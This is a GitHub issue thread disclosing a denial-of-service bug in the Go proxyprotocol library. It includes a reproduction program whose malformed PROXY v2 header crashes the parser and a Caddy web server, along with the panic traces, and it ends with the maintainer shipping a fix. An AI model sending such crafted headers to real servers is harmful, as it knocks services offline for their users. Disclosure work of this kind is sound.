Invalid V2 PROXY data causes parsing panics/denial-of-service

[cpu]

👋 hi @mastercactapus, I was looking into the HAProxy V2 PROXY protocol and found your package. Unfortunately I found a class of crasher bugs when the library is presented malformed input.

The headerv2.go's parseV2 function doesn't validate that the length of the buffered data is large enough to ensure that the slicing done to extract src/dest IP addresses (and ports where applicable) won't be out of bounds.

Here's a small reproduction program:

package main

import (
	"bufio"
	"bytes"

	"github.com/mastercactapus/proxyprotocol"
)

func main() {
	data := []byte{
		// PROXY protocol v2 magic header
		0x0D, 0x0A, 0x0D, 0x0A, 0x00, 0x0D, 0x0A, 0x51, 0x55, 0x49, 0x54, 0x0A,
		// v2 version, PROXY cmd
		0x21,
		// TCP, IPv4 (also works with 0x13,0x21,0x22,0x31,0x32)
		0x12,
		// Length
		0x00, 0x00,
		// src/dest address data _should_ be here but is omitted.
	}

	/*
		panic: runtime error: slice bounds out of range

		goroutine 1 [running]:
		github.com/mastercactapus/proxyprotocol.parseV2(0xc00005e180, 0x100d, 0x0, 0x0)
			/home/daniel/go/src/github.com/mastercactapus/proxyprotocol/headerv2.go:93 +0x18e4
		github.com/mastercactapus/proxyprotocol.Parse(0xc00005e180, 0x1000, 0x1000, 0xc000086000, 0x459a3d)
			/home/daniel/go/src/github.com/mastercactapus/proxyprotocol/parse.go:31 +0x149
		main.main()
			/home/daniel/test.go:21 +0x18f
		exit status 2
	*/
	_, _ = proxyprotocol.Parse(
		bufio.NewReader(
			bytes.NewReader(data)))
}

The inline comment shows where the panic occurs. You can change the panic location by switching the 0x12 byte to one of the other supported FamProto values in the parsing switch statement. All supported FamProto's are affected by this class of bug.

Notably this results in a trivial denial of service attack against upstream consumers of this package. I was able to reproduce this crash with your caddy-proxyprotocol plugin, Caddy v1.0.1 and the following Caddy file:

beta.threeletter.agency:443

log access.log

root /var/www/test

proxyprotocol {
  timeout 3s
}

Here's the output from the Caddy server after receiving the payload from the reproduction above:

#> caddy -version
Caddy v1.0.1 (h1:oor6ep+8NoJOabpFXhvjqjfeldtw1XSzfISVrbfqTKo=)

#> caddy -conf caddy.conf 
Activating privacy features... done.

Serving HTTPS on port 443 
https://beta.threeletter.agency


Serving HTTP on port 80 
http://beta.threeletter.agency

WARNING: File descriptor limit 1024 is too low for production servers. At least 8192 is recommended. Fix with `ulimit -n 8192`.
panic: runtime error: slice bounds out of range

goroutine 20 [running]:
github.com/mastercactapus/proxyprotocol.parseV2(0xc00006d6e0, 0xc00006d70d, 0x0, 0x0)
	/tmp/buildenv_07-17-1625.973213325/main/vendor/github.com/mastercactapus/proxyprotocol/headerv2.go:93 +0x18e4
github.com/mastercactapus/proxyprotocol.Parse(0xc00006d6e0, 0xd7aa80, 0xc00000e6e0, 0x0, 0x0)
	/tmp/buildenv_07-17-1625.973213325/main/vendor/github.com/mastercactapus/proxyprotocol/parse.go:31 +0x149
github.com/mastercactapus/proxyprotocol.(*Conn).parse(0xc000140280)
	/tmp/buildenv_07-17-1625.973213325/main/vendor/github.com/mastercactapus/proxyprotocol/conn.go:47 +0x109
sync.(*Once).Do(0xc0001402a0, 0xc0000504b0)
	/usr/local/go/src/sync/once.go:44 +0xb3
github.com/mastercactapus/proxyprotocol.(*Conn).RemoteAddr(0xc000140280, 0x0, 0x0)
	/tmp/buildenv_07-17-1625.973213325/main/vendor/github.com/mastercactapus/proxyprotocol/conn.go:70 +0x58
crypto/tls.(*Conn).RemoteAddr(0xc000168e00, 0x0, 0x0)
	/usr/local/go/src/crypto/tls/conn.go:124 +0x33
net/http.(*conn).serve(0xc000140320, 0xd731c0, 0xc0001431a0)
	/usr/local/go/src/net/http/server.go:1763 +0x4c
created by net/http.(*Server).Serve

I think its likely worth treating this as a denial of service vulnerability and releasing a new version of both this library and the upstream caddy-proxyprotocol plugin with a note indicating users should upgrade. As an additional note because of when this panic occurs there is no audit trail in the configured access.log and it brings down the entire webserver, not just the Go routine handling the request.

Unfortunately I don't have the cycles to develop a fix for this bug. I'm not a Caddy user or a caddy-proxyprotocol user, just a curious dev.

[mastercactapus]

I pushed up a fix and a test using your example code as v0.0.2 need a little more time so I can validate Caddy with the fix but will get that out today as well.

Thanks for such a thorough report!

[cpu]

@mastercactapus That's terrific. Thanks for the quick turnaround!

[mholt]

I'm not a Caddy user

We gotta fix that @cpu 😄

[mastercactapus]

Closing, new version is released with fix -- validated build from caddyserver.com